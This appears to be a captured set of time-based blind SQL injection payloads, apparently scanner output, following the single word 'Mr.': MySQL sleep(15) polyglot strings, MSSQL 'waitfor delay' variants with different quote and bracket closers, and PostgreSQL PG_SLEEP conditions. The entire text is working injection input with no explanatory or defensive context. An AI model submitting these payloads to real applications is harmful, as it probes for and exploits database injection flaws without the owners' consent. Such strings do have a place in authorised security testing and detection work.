Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

6JKbit78'; waitfor delay '0:0:15' --

us80jTjz'); waitfor delay '0:0:15' --

tBue7Dp0')); waitfor delay '0:0:15' --

-5 OR 319=(SELECT 319 FROM PG_SLEEP(15))--

-5) OR 189=(SELECT 189 FROM PG_SLEEP(15))--